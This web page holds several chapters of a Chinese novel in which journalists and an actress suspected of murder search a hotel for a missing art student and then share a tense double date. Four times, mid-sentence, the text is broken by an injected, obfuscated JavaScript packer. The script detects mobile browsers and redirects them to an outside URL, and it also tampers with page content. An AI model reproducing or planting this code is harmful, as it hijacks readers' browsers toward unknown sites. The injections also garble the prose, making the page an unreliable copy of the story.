也是,何思尔这么坚定地声称龙晴失踪,说明不是没有可能,尽管还远远没到警方对失踪的立案标准,可时间拖得越久,风险也就越大。为了龙晴,江知渺也会支持他尽快找人的想法的。 邵聿集中了精神,翻开笔记本,记录下何思尔提供的地址:不远处的小超市、五站地之外的市民公园、A市游乐场、火车站旁的快捷酒店,这些都是她和龙晴一同去过的地方。 “超市、公园,这些都很近,一会儿我顺路就去看了。剩下两个,你们挑吧,游乐场还是火车站?”李璟意一边低头看导航,一边问道。 “火车站。” “火车站。” 邵聿和江知渺异口同声地回答道,李璟意的视线在他俩脸上转了一圈,意味深长地眨了眨眼。她本意是想和邵聿分工各去一处,没想到江知渺也要参与,两人还不约而同地避开了游乐场这种约会圣地,倒也算种默契。 “行啊,我没问题,走,伍旸,姐带你去游乐场。”她利落地拎起挎包,头也不回地往门外走,伍旸手忙脚乱地跟了上去,转眼间就没影了。 “你留下陪学生。”邵聿生硬地说道,江知渺却没有任何要理睬他的意思,从包里翻出自己的车钥匙。 邵聿拦在她的面前,“她是来请我们提供帮助的,你去做什么?” 不得不承认,他是有自己的私心的,无论是柏霆宇那个过激粉还是程薇柔动机不明的伤害,都让他担心得快要死掉,在这个节骨眼上,还是让她少掺和这些事比较安全。 “我为什么不能去?”她隐藏了前半句话,“既然你怀疑我是凶手”,不过她相信邵聿能够听懂。江知渺下定决心要让邵聿不痛快,干脆迎上他的目光,毫不示弱地盯着他。 “我们是去找龙晴,又不是……”邵聿突然意识到,自己这样说反而是默认了她说的话,好像自己真的是来查她的“罪证”似的,他立刻闭口不谈,沉默地挡在门口。 “那个……找人要紧,找人要紧。”刘恪辰打破了僵局,灵活地钻到他俩之间,左看看右看看,“师父,要不我来开车,您和师娘一起去吧?” 邵聿的表情终于有所松动,他犹豫了片刻后,拉开教室大门,往停车场走去。刘恪辰顺势伸出手臂,请江知渺紧随其后,自己则悄悄擦了把额头上的冷汗,跟在最后。 不过邵聿还是没有让他坐上驾驶室,“别以为我不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054806|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你一个月之前刚拿的驾照,我还不想玩命。” 没办法,刘恪辰只能乖乖作罢,江知渺刚拉开后座的车门,他又惊出一身冷汗,连推带劝地把她安置在副驾驶,随着车子顺利开动,终于长长地松了一口气。 一路无话,刘恪辰心惊胆战地看着前排两位大佬的身影,大气也不敢出。尤其是邵聿,身上的冷气令人不寒而栗,简直快要窒息了。 一个多小时的路途就这样变得格外漫长,刘恪辰几次想要找点话题调节一下气氛,可看到邵聿阴沉的侧脸,又发现江知渺的头始终转向窗外,他还是决定苟住。 ——爸爸妈妈吵架,孩子不要引火烧身。 他不合时宜地意识到自己就像是他们俩人多余的孩子,荒谬中带着点合理的想象,让他忍不住笑出了声,引来邵聿一个白眼。 “咳咳”,他欲盖弥彰地轻咳几声,“聿哥,你觉得何思尔对我们隐瞒的是什么啊?” 晚高峰前往火车站的路上十分拥挤,前方的车辆猛地停住,邵聿也一脚刹车,刘恪辰差点被甩到前挡风玻璃上。 “把安全带系好。”邵聿回头瞥了他一眼,“未知全貌,不予置评,做新闻的,这个道理还要我教你吗?” 刘恪辰乖乖地系好安全带,还是不死心,憋了一路的嘴巴现在只想有人能跟他说说话,“不影响正常调查,就是咱们私底下聊聊嘛。” 邵聿显然没打算跟他聊下去,一言不发地盯着前方的车水马龙,刘恪辰倒也习惯了他突然不吭声,江知渺反而接过他的话头,“这个年纪的女孩,也许是买了很贵的东西,或者是谈了恋爱,害怕被家里人责罚,这才跑了出去。” “嗯,有道理!既然不想让老师和家长知道,那估计也就是这两种可能了。”刘恪辰思索着说道:“不过龙晴家里是做生意的,经济条件应该还不错,就算是买些奢侈品什么的,也不至于吓得离家出走吧?” “龙晴跟你说过什么?”邵聿冷不丁开口,抛出一句没有前言后语的问话,刘恪辰顿时就懵住了,“啊?我没跟她说过话啊?” “没问你。”前一秒邵聿解决了他心里的疑惑,下一秒刘恪辰就瞪大了眼睛,看向副驾驶座上的江知渺。 她上车以来第一次偏头看向驾驶位上的男人,颇具成熟韵味的红唇勾起一个细微的弧度,冷笑道:“原来邵主持一直在监视我啊。” 刘恪辰心底大喊“不妙”,他麻利地解开安全带,将半个身子探到主副驾驶座椅中间的空隙中,尴尬地笑了几声,打起圆场来,“师娘,师父他只是比较关心你。是吧,聿哥?” 他求助般地望向邵聿,用尽面部肌肉递了无数个眼神,邵聿这才作罢,沉默着再次启动了车辆,缓缓跟上前方的车流。 他原以为这场危机就算是解除了,却没想到江知渺根本不打算隐忍,车厢凝固的空气里,清晰的咬字掷地有声: “我和她说,千万不要进娱乐圈,这个圈子里的男人都是骗子,他们会用甜言蜜语捕获你,然后再冷酷无情地背叛你,你却拿他一点办法也没有。就像我,最后只能选择亲手杀了他。” 49. 寻觅 “喂。” 此时此刻,突如其来的电话铃声宛如救星下凡,刘恪辰看着邵聿手里的手机,简直要感动得流下泪来,他缩回了后座上,暗暗发誓再也不掺和前排大人之间的争执了。 “我们还在路上。”邵聿冷冷地对电话那头的人说道。 “好,我知道了。”言简意赅的两句话后,他就挂断了电话。 刘恪辰小心翼翼地问道:“是意姐吗?他们那边什么情况?” “游乐场没找到,他们也在往火车站赶。” 刘恪辰第一次感觉,邵聿和李璟意两个人凑到一起好像也没那么天崩地裂了,比起他和江知渺之间的氛围,甚至可以称得上是轻松愉快。 好在临近九点,晚高峰稍稍缓解,他们终于抵达火车站旁的快捷酒店。亮明身份后,店家十分配合地拿出了不规范的手写台账。 “你们不登记身份证号吗?”邵聿翻了几页,发现只有潦草的入住时间和退房时间,有些姓名部分只写了一个模糊不清的单字,身份证号更是完全空白。 店家一听说是国立电视台的记者,早就吓破了胆,站在一边支支吾吾的,邵聿不想跟他们掰扯这些,直接翻到最后一页,“19:08刘晴”,一行略显稚嫩的字体吸引了他的注意力。 “刘晴……”刘恪辰默念道,忽然抬声道:“聿哥,这就是!” 邵聿将食指放在唇前,示意他噤声,随即拿出记者气场,对店主说道:“拿上备用钥匙,带我们去这个人的房间。” 昏暗狭窄的快捷酒店走廊中,脚步声被压到最低,他们慢慢来到305房间门口,破旧的木质房门斑驳掉漆,失去光泽的金属锁扣仿佛一推就会掉落。 就在他们即将用备用钥匙打开房门的时候,从身后突然传来一阵响亮急促的脚步声,是低跟皮鞋落在地面上发出的闷响,犹如战斗开始前的鼓点,听得人心头一阵焦虑。 很快,脚步声就接近了他们所在的楼层,三声之后,从楼梯拐角处,闪出一个让他们都意料之外的身影—— 是颜洪。 看到他们三个,她好像瞬间就找到亲人一般,长长地舒了一口气,隔着五米远就开始冲他们挥手,高声喊道:“知渺!邵主持!刘主持!” 快捷酒店的房顶本就异常低矮,邵聿和刘恪辰一米八几的个子都显得有些局促,在这样狭小的半封闭空间里,颜洪的高声在每个人耳膜里打鼓,江知渺下意识揉了揉自己的耳廓,内里耳膜似乎还在被迫发出震动。 身旁的邵聿不满地“啧”了一声,他很少有这种不算体面的行为,江知渺还以为是自己出现了幻听,不过抬头看向他时,的确在他的脸上发现明显的不耐烦。 “请您小点声!”他极力压抑着喉咙里的怒音,声音在胸腔充分回荡,仿佛一头刚刚苏醒的雄狮,发出第一声低吼。 “可算找到你们了!”颜洪似乎没有听到他极具威慑力的警告,仍然边走边朝他们喊道:“龙晴应该是要回家,我收到……” 话音未落,305房间的大门从屋内“砰”的一声打开了,龙晴依旧穿着白天那件米黄色连衣裙,屋内比走廊明亮许多,她背对着白炽灯光,影子投射向门外,将他们笼罩在黑影之中,看不清她的神情。 “龙晴!”江知渺上前一步,仔仔细细地打量着她,她的脸色异常平静,看到他们也丝毫没有表现出惊讶,周身死水一般的气息还是让江知渺的心重重地跳了一下。 邵聿擦过她的肩膀,越过龙晴身旁的空隙走进房间,不到十平米的房间里空无一人,只开着灯,电视空调遥控器都整齐地摆在桌子上,连单人床的床单都没有一丝褶皱,像是完全没有人住过的样子。 “龙晴,你可真是把我们都急死了!”颜洪焦急地跑到她面前,亲切地拉住她的手腕,帮她将她一缕碎发别到耳后,“是不是最近上课太累了?有什么不舒服的可以来跟我说,怎么突然就要回家呢?” “回家?”刘恪辰从房间里走了出来,疑惑道。 “是啊,她来A市的路费是‘艺心’承担的,当时我用手机绑定了她的身份证,给她订的票。这不,你们前脚刚出发,后脚我就收到短信,提醒我有一张去S市的高铁票。我还以为是骚扰短信,结果看了一眼,乘车人是龙晴,赶紧往火车站赶。” 颜洪像慈母一样,轻轻拂过她的背,随即语重心长地叹了一口气,“唉,是不是最近给你们安排的表演课难度太高了?你们都是刚接触表演的孩子,觉得困难也很正常,可怎么突然就要放弃呢?我记得来面试的时候,你说过,自己从小就学习各种乐器,练了十年舞蹈,考进艺大一直是你的梦想,这时候放弃,多可惜啊。” 水一般温柔的声音似乎触动了龙晴心底最柔软的部分,她捂住脸啜泣着,身体逐渐脱力,歪歪扭扭地靠在颜洪肩膀上,仿佛离家的游子终于回到了慈母的怀抱。 江知渺回想起今天中午龙晴来找她聊的那些内容,显然,她正处于严重的自我怀疑之中。 其他同学都能通过一次次文化课考试成绩看到自己的进步,而她只能像个蹒跚学步的小孩子一样,从零开始学习表演,去赌一个不知道未来的人生。这种时候想要放弃,实在是再正常不过了。 她也安抚起龙晴的情绪,“颜教授说的没错,或许以前表演对你来说是个光鲜亮丽的存在,真正接触起来你就会发现,它也需要漫长的积淀,这个过程是孤独的,不过,只要你坚持下去,总会有雨过天晴的那一天,到时候回过头来,你肯定可以看到自己的成长。” 颜洪随着她的话点了点头,“你所经历的这些情绪,你的前辈们也都经历过,所以不用太过焦虑,只要跟着‘艺心’的课程安排好好学,就能够实现你的演员梦想。我也会一直陪着你,亲自把你们送进最好的表演学院。” 眼看龙晴的哭泣声渐渐减小,李璟意带着伍旸赶到了。她突兀的发问打断了这温馨得不能再温馨的场面,“龙晴,是何思尔让我和邵聿来找你的。” 没头没尾的一句话完全吸引了龙晴的注意力,她挂着泪痕的小脸愕然抬起,李璟意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058273|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊开手里的笔记本,继续问道: “你究竟为什么要离开‘艺心’?为什么突然决定要回家?为什么只留下一张白纸,何思尔就断定你失踪了,而且还非常担心你的安危?” 不等龙晴回答,颜洪先甩出一句生硬的回应,“李记者,如你所见,龙晴只是一时跟不上课程,想要放弃艺考这条路,我已经做通了她的思想工作,接下来还是交给我和她的家长吧,就不劳您费心了。” 李璟意轻蔑地笑了一声,“颜教授,颜校长,龙晴还一句话都没说吧,你怎么就断言她一定是因为课程难度才要回家的呢?” 她扭头看向龙晴,一字一句地说道:“龙晴,我知道你和何思尔有什么事情想要告诉我们,不用害怕,尽管说,国立电视台会给你充分的保护。” 所有人的目光都落在龙晴身上,她站在一圈人中央,身体越缩越矮,几乎要蜷缩着蹲在人们的脚下。在江知渺准备拉她一把之前,她用比蚊子还小的声音飞速回答道:“是校长说的这样。” “什么?”李璟意以为自己没听清,又确认了一遍。 “李记者,你的问题她已经给出了回答,现在我的学生情绪非常低落,天也晚了,作为她的校长,我要带她回‘艺心’休息调整,你请自便吧。”说完,颜洪直接挽起龙晴的手臂,拉着她往外走去。 “等等!龙晴,你……”李璟意的声音被她们甩在身后,充耳不闻,她气得重重地合上笔记本,心底咬牙切齿地说道:“你等着,我一定会把你们‘艺心’翻个底朝天!” “颜教授。”邵聿抬高音量的嗓音格外具有穿透力,仿佛自带调音设备,每一帧都清晰透彻,穿过昏暗压抑的走廊,拉住了那对步履匆匆的师徒。 “有一件事,我想龙晴应该可以回答。” 颜教授脸上带着不耐烦,即使保养得再好,在表情的作用下,岁月留下的痕迹也会加倍放大,劣质顶灯下,那些皱纹宛如河床上一条条干裂的缝隙,扭曲蜿蜒。 邵聿走近了两步,保持着五米的距离,刚好可以让身前身后的人都听到,“中午,你提醒江知渺去上课的时候,你们曾经单独谈了十分钟。”他顿了顿,“她和你说了什么?” 龙晴显然没有预料到他会问起这件事,愣在原地,连颜洪也不知道有这件事,用询问的眼神盯着她。 还是江知渺最先从震惊中恢复过来,她疲惫地摇了摇头,在邵聿的身后,叹了一口气,“我说了,我让她别进娱乐圈,除非想变成我这样的杀人犯。” 邵聿却果断地摇了摇头,他微微侧过身,江知渺得以看到他一丝不苟的侧脸,“你不会这样说的。” “那你觉得我会说什么?” “我不知道,所以我在问她。” 江知渺心里非常清楚,再这样说下去,他们俩就会在大家面前吵架。 她把那句“我说的话你根本不信,所以要去问别人吗”生生咽了下去,从他的面前大步掠过,来到龙晴身边,对她轻声说道:“你告诉他,我跟你说了什么。” 50. 偏爱 龙晴怯怯地望着江知渺,得到她的肯定后才开口,“学姐跟我说,要坚持下去。” 她思索片刻,补充道:“还说,她遇到了自己的伯乐,也希望我能在遇到机会的时候,抓住机会。” “所以——什么情况?” 返程的车上,邵聿和李璟意分别开着自己的车,伍旸按照李璟意的指示给邵聿拨通了电话,而邵聿车上,坐在副驾驶的刘恪辰按下车载屏幕上的接通键,然后默念“我是透明人看不见我”,缩进了座椅的一角。 “没什么,就是你听到的这样。”邵聿漫不经心地回应着。 “不是说好了要结盟吗,你老婆跟龙晴私下里说过话这件事,为什么提前不告诉我?” 李璟意的质问像是记者在盘问一个嫌疑人,哪怕坐在旁边都心惊胆战,刘恪辰忍不住在微信里给伍旸悄悄发了个“瑟瑟发抖”的表情包。 “我不认为这件事和我们要查的事情有关。” “真是无关的话,你刚才为什么要特意拿出来问龙晴?” “只是突然想起来了,随口一问。” 这个回答显然不能让李璟意满意,她猛打方向盘,超过了前方邵聿的车,与他并驾齐驱,放下车窗,白了邵聿一眼,“你自己信吗?” 邵聿的沉默让她愈发不满,“如果你不想合作,我们可以就地解散,你查你的我查我的,我们互不干涉。和一个带着私心的人,我没法合作。” “李璟意。” 邵聿突然正式起来的声音让刘恪辰都不由得坐直了,那熟悉的充满磁性的立体声音,仿佛在播报国际新闻,偏偏语气却没能做到不偏不倚,咬字间带着轻微的叹息。 “知渺是我的妻子。” 这话的意思再清楚不过了,刘恪辰坐在一旁也惊得猛眨了几下眼:邵聿居然在向李璟意请求,请求她通融自己的私心。 在那一瞬间里,他不再是那座万事万物都不能令他哗然的巍峨青山,变成了山间清流,以委婉的姿态,在山谷拗成的形状中艰涩地流淌。 但他的姿态仍然很高,承认自己是一个为爱而偏执的疯子,似乎并非难事也并非丑事,反而是他的护身符,让他的情绪有了一句合理的辩护词。 他是江知渺的丈夫,这是谁也改变不了的事实——他想告诉李璟意的,就是这一点。 李璟意当然听懂了他的潜台词,她本想发作,可邵聿的话像是炎炎夏日被人当头泼了一盆冷水。 她不得不承认邵聿抓住了自己的软肋,这样简简单单的一句话,就可以轻易地让她产生共鸣。 就像,即使她再想用江知渺的丑闻压得邵聿在台里一辈子也翻不了身,她也始终没有利用杨灏作为江知渺辩护律师的身份。 即使她知道,假如她下定决心去提出要求,杨灏不一定会为了律师的职业道德,而选择拒绝她。 但她没有这么做,邵聿也没有告诉她江知渺和龙晴有过一对一的谈话。 那些独属于妻子或丈夫这个身份的特权,其实也是最容易伤害另一半的武器,只不过在这场战争中,他们默契地谁也没打算使用罢了。 “所以现在,你有什么头绪了吗?”他们也默契地跳过了这个话题,李璟意提高车速,超车到他的前方。 “还不清楚,需要回去再问问何思尔。” “她不愿意接受我们的采访,你怎么问?” “不愿意接受采访,也是一种回答。不是吗,李记者?” 李璟意不得不承认,他说的没错,甚至采访对象不说话,有时候结果比说话还要逼近真相。 毕竟,一个人开口就有说谎的可能性,但不说话的时候,永远是诚实的。 “不过,没有任何采访记录,台长那边不可能让你报这条新闻的,我们又不是营销号。” 邵聿那边沉默了几秒,很快传来一阵转向灯的声音,李璟意看着右侧车道上邵聿突然超车,同时电话里传来邵聿胸有成竹的声音,“还有另一边。” 伍旸猛地拍了一下自己的大腿,没忍住出了声,“聿哥,你说得对啊,咱们一直在找这个出现在VeilMansion的女孩,怎么把更熟悉的冯教授给忘了呢!” 李璟意立刻甩给他一个白眼,伍旸急忙闭上嘴,假装无事发生,眼神飘向窗外。 当时台里批准李璟意他们采访《钩沉》的嘉宾,她选中冯炳,却被邵聿严词拒绝了。李璟意没好气地哼了一声,“你们《钩沉》的嘉宾,跟我有什么关系?” 她果断挂掉邵聿的电话,接进另一个已经响了很久的号码,“喂,老公。” 是杨灏的声音,伍旸一下子就听出来了,杨灏经常来电视台接李璟意下班,台里所有人对他都很熟悉,他的声音总是十分温柔:“老婆,今天什么时候回家呀?” 李璟意这才下意识去看了一眼时间,居然已经到了晚上十点,她咬了咬下唇,犹豫片刻才说道:“我今晚估计不回家了,有工作。” 电话那头只静默了三秒,杨灏反过来嘱咐道:“天这么晚了,你在路上吗?一定要注意安全,开慢点。” 李璟意点点头,又意识到他看不见,有些失落,只好蔫蔫地回道:“好吧,那你早点休息,我争取明天回家。” “那个……”杨灏的声音叫停了她挂断电话的手指,李璟意疑惑地问道:“怎么了?” “你在查柏霆宇的案子吗?” “你怎么知道的?”李璟意降低了车速,分些神去思考他说的话。 “没什么,就是这几天江知渺都没有联系我,我猜应该是有什么事情发生。” “你说的没错,刚才我们还在一块儿,哦,还有邵聿。” “你们都在一起?”杨灏那边传来车钥匙哗啦啦的声音,“在哪儿?” “扬尚艺术街区,‘艺心’培训中心。”车子平稳地驶过高速公路,目之所及的距离内,只有颜教授和邵聿各自开着的两辆车。 “你们现在在哪儿?我去接你。”杨灏的语气里藏不住焦急的气息,急促的脚步声一直没有停下。 “怎么了?是发生什么事情了吗?” 李璟意也意识到他的不对劲,在通过一个休息区时,将车停了下来,拿着手机到车门外静静地接听。 “我也不知道。”杨灏深深地提起一口气,“可能是我想得太多了吧,你先别离开扬尚,我现在就去‘艺心’找你。” 江知渺和颜洪一左一右,护着龙晴回到了“艺心”宿舍区,何思尔一见到龙晴,喜极而泣,立刻扑上来将她抱住。 颜洪亲昵地揉了揉龙晴的脑袋,“好了,今天不早了,你先好好睡一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070231|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,明天我们再聊聊天。” 龙晴在她的手掌贴住自己头发的那一刻就转过身来,郑重其事地向颜洪鞠了一躬,小声说道:“给校长添麻烦了。” “没关系,孩子,睡吧,睡醒了一切都会好的。” 江知渺跟着颜洪离开了寝室,却在宿舍区外再次撞见邵聿他们四人,颜洪刚要发作,就被她拦了下来。 “颜教授,我跟他们说吧。”她转而面向李璟意,特意放低声音,“龙晴已经睡下了,我知道你们有很多问题,明天吧,她今天很累。” 李璟意摆了摆手,“我们想跟何思尔聊聊。” “李记者。”颜洪开口驳斥道:“我的学生们都是未成年人,按理说要采访他们都必须经过监护人的同意,我是看在国立电视台和知渺的面子上,才允许你们进‘艺心’的。如果你们还是这样不顾学生的意愿,那我只能让警察来将你们‘请’走了。” 面对最后通牒,李璟意丰富的经验告诉她,不能硬碰硬,她端起一个友善的微笑,对颜洪说道:“颜校长对国立电视台的认可,让我们倍感荣幸,既然今天已经这么晚了,那我们明天再来。” “请等一下。”江知渺叫住他们,向颜洪请求道:“颜教授,您看,已经快十一点了,这里又很偏,回市区还要一个多小时,要不您也帮忙给他们找几间空宿舍,住一晚?” “知渺,你……”颜洪显然是没料到她会帮着他们,可江知渺仍然没有放弃,又发起誓来。 “老师,我保证,等明天结束,我一走,肯定会劝着他们一起离开的,绝对不会再给您添麻烦。” 话说到这个份儿上,颜洪也不好拒绝了,好在“艺心”这一年的培训刚刚开始,部分学生还没来报道,有不少空房间,她给每个人都分了一间宿舍。 江知渺疲惫地捧着一杯温水,坐在窗边的学生椅上,柯妙妙的电话刚好打了过来,亲切地问候起她的情况。 “就是这样,忙了一天,我连那辆假出租车的影儿都没见到。” “辛苦你了,江老师。”柯妙妙嘻嘻哈哈地调侃起来,“不过邵聿怎么也去‘艺心’了,你俩还真是孽缘啊!” “谁知道他在查什么,只听说是跟VeilMansion有关。又是这个破地方,对了,你不是在那儿盯好几天了吗,有什么收获?” “收获没有,倒是遇上一个很讨厌的人。”柯妙妙咬牙切齿地说道。 “谁啊?” 柯妙妙欲言又止,最后话锋一转,“算了算了,不是什么重要的人,倒是你,除了电视台的四个人,没遇上别的熟人吗?” “别的熟人?”江知渺把自己扔到床上,站立了一整天,酸痛的腰终于得到放松。 “最新消息哦,我的线人告诉我说,一个小时前,你那个律师匆匆开车离开律所了。” 江知渺视线飘向窗外,没戴隐形眼睛的模糊视野中,隐约出现一个身影,正快步跑向“艺心”的玻璃门。 “现在,应该已经到达了吧。” 江知渺眯起眼睛,借着点疲惫的生理性泪水,终于看清杨灏的身影。 十分钟后,她的房门就被人叩响了。江知渺拉开木门,李璟意正挽着杨灏的手臂,歪着头冲她笑道:“知渺,睡了吗?要不要来一场doubledate?” 51. 约会 刚在酒吧落座,江知渺就后悔起来。 对面李璟意和杨灝脑袋亲密地挤在一起,对着酒单说说笑笑,杨灝全程用手臂搂着李璟意的肩膀,一向雷厉风行的李记者,此刻看上去倒有几分小鸟依人的感觉。 “哎,邵聿,知渺,你们俩喝什么?今晚我老公请客,千万别跟他客气。” 李璟意把酒单递给江知渺,她摆了摆手,推拒道:“我容易水肿,今天比较晚,先不喝了,你们点吧。” “不好意思啊,我忘了你们演员身材管理都很严格。” 李璟意转而看向邵聿,“不过我倒是很好奇,你是怎么认识知渺的? 我记得咱俩同期进台,结果刚上班不到一年就听说你结婚了,妻子还是演员,谁能想到竟然是这么一位美女啊?” 江知渺谦虚地笑了笑,也偏过头去望着邵聿的侧脸,她对邵聿的回应已经没有任何期待,从在“艺心”见面的那一刻起,邵聿就对她表现得不冷不热,几次在外人面前让她下不来台,摆明了还是因为柏霆宇的案子对她心存芥蒂。 “我是在一个片场遇到她的。” 邵聿在酒单上勾画了一杯山崎,非常自然地将肩膀侧向江知渺的方向,下颌微微收起,低头挑起上目线,眼角眯起温柔的弧度,用在《钩沉》讲述历史岁月的悠长声线,说道: “当时是寒冬腊月,她给一个网红女演员做水替。那么冷的天气,所有人都不愿意接,她却对那几秒钟的背影戏非常认真,一遍又一遍跳进冰水里,直到最后也没有喊一句‘冷’。” 他说这些的时候,目光从未自江知渺的脸上离开过,忽然露出一个久违的微笑,“其实,那个背影,我到现在也忘不了。” 江知渺在拍戏时早就听过无数情话,热情似火的、温柔似水的、决然无畏的、纠结无望的。 那些精雕细琢的台词,没有哪一句能像现在这样,刚一飘进耳廓,就让她的脸倏地变得通红。 她不知道自己愣愣地在他面前失神了多久,三维世界的所有尺度通通失效,邵聿的话语就像自带魔力,让他们同时回到七年前的那个冬日。 冷刺骨的风与水化作这七年间辗转反侧的心绪与眼泪,将一对疲惫的灵魂浸泡在不真实的乌托邦中。 两个初出茅庐、赤手空拳、满腔热血的愣头青,在现实的世界里跌跌撞撞,闯得头破血流,终于遇到自己的另一半灵魂,却开始自相残杀,最后连情话都变成了天方夜谭。 “结婚这么多年,你们的感情还是这么好啊。”杨灝打破了他们复杂的对视,让江知渺心里骤然降温,好像方才的片刻温情突然被人戳穿。 虽然她知道杨灝说的并不是反话,在外人看来他们的确是般配的一对,但那也都是过去的事了。 “杨律师过奖了,你和李记者也是我们台里众人皆知的模范夫妻。” 邵聿面向杨灝得体地微微欠身,让江知渺都有片刻恍神,这种互相感叹关系亲密的doubledate,竟然也会发生在自己身上。 她依旧没有移开观察邵聿的目光,借着酒吧里昏暗的灯光,她终于有机会尝试从这幅永远令她心动的皮囊下,探寻他真正的样子。 其实江知渺从来没告诉过邵聿,邵聿从不吝啬承认自己当年是被她的外表吸引的,她又何尝不是因为邵聿正直的模样才收下了他的名片。 至于拿到名片后发现他竟然是国立电视台的记者,那都是之后的事情了。 时间对他好像格外开恩,江知渺痛恨自己脸上多出的每一条细小的皱纹,而这些痕迹出现在邵聿的脸上,却只会给他增添几分成熟男性的韵味。 这么多年走过来,不知是不是独扛《钩沉》磨练出的气质,他看上去愈发的沉稳可靠,也愈发深沉难以捉摸。 就像今天上午他还在颜洪面前毫不留情地戳穿两人“不熟”的关系,中午强硬地要求她回避学生们的采访,几个小时前还直截了当地质问她和龙晴说过什么,然而现在又能把他们的初遇讲得比童话还要唯美。 江知渺探究的目光吸引了邵聿的注意力,他尝了一口高脚杯里的威士忌,歪着头用眼神问她“怎么了”。 她抿起嘴唇,挑起一个若有似无的微笑,轻轻摇了摇头。 江知渺放弃了对他的思考,不管邵聿在想什么,既然目前还是她所希望展现给外人的状态——一对感情永远浓烈的灵魂伴侣——那么,她不介意按照这个剧本演下去。 于是,邵聿感受到江知渺微凉的体温,隔着一层薄薄的衬衫贴在他的肩膀上,轻盈得好似风一吹就能飘走,他缓缓低下头去,还能闻到她发丝间的草木清香。 那是她代言的洗发水独特的香气,也是她拥有的第一个代言。 邵聿还记得,五年前刚拿到这个代言的时候,他下班回到家,客厅里摆满了一箱一箱的洗发水。 江知渺裹着浴袍,散着一头湿发,蹦蹦跳跳地从浴室里跑出来。他佯装生气,把她又拽回了浴室。 “现在才三月,家里刚刚停暖,不好好吹头发,明天要感冒的。” 他拿起吹风机,刚要打开开关,但江知渺轻快的一句话,让他不由得停下了一切动作,手臂僵硬地举在她头顶。 “老公,你看到了吗,客厅里的洗发水,那是我的新代言!” “代言?”邵聿低低地问了一句。 “是啊,我终于有代言了!而且是Lumiel的洗发水,现在好多人都在用!” “你之前不是没有接到戏吗,怎么突然有代言了?” “你记不记得,前几天我跟你说,有个姓修的大导演来找过我。 后来他把剧本发过来了,是个仙侠剧,邀请我演女二号! 他还把我推荐给Lumiel的总监,今早他们就来找我签合同了,让我做他们的品牌大使……” 江知渺还在絮絮叨叨地讲述签合同的过程,眉飞色舞像个活泼的小孩子,脸颊上洋溢着幸福的红晕,这两年,邵聿从来没有看到过她这么高兴甚至亢奋的样子。 可他还是忍不住泼了一盆冷水,“那你要演吗?” “什么?”江知渺从他的双臂里转过身,抬起头懵懂地眨了眨眼,完全无辜的模样,让邵聿顿时心生不忍。 “那个仙侠剧的女二号。” 他难以控制自己冰冷的语气,这下江知渺也听出不对劲了。她用力咬住自己的下唇,咬得嘴唇发白,大脑飞速运转,想要找出一个两人都能接受的答案来。 忽然,邵聿打开了头顶的吹风机,炙热的暖风打在头皮上,缓解了不知是气氛还是气温导致的寒意。 自从结婚之后,只要邵聿在家,江知渺就没有碰过家里的吹风机,他一定会主动来帮她把头发吹干,久而久之,江知渺能够非常清晰地感受到他在吹头发这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086556|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事情上巨大的进步。 手指轻柔地挑起一抹发丝,将风的温度调到中档,比体温稍高的热风仿佛在给头皮做一场精致的按摩,很快就带走潮湿的水汽。 然后他会将温度调低,从头顶到发梢,细细抚平每一根不听话的发丝,直到他们都服服帖帖地躺在她的肩上,再用好闻的护发精油轻揉发尾。 当她睁开眼时,一头湿法就像被施了魔法一般,变成透亮柔顺的乌黑长发。 今天他好像并没有那么多的耐心,开始时直接推到最高温,等她下意识躲闪,才慌忙调低温度,指尖几次失误触碰到她的耳朵,护发精油挤得太多,狭小的浴室里都弥漫着浓烈到呛人的化学香气。 “老公,我……” “我明白”,邵聿将吹风机放回原处,没有看她,直接打断她,自顾自地说道:“我知道你的想法了。” “我还是不能放弃表演。”江知渺拉住他的手指,指尖还残留着一些滑腻腻的护发精油。 她想要拿纸巾帮他擦一擦,可邵聿直接甩开了她的手,夺门而出。 从那天起,家里就始终弥漫着Lumiel淡淡的草木香,他们俩也再没能好好说过话。 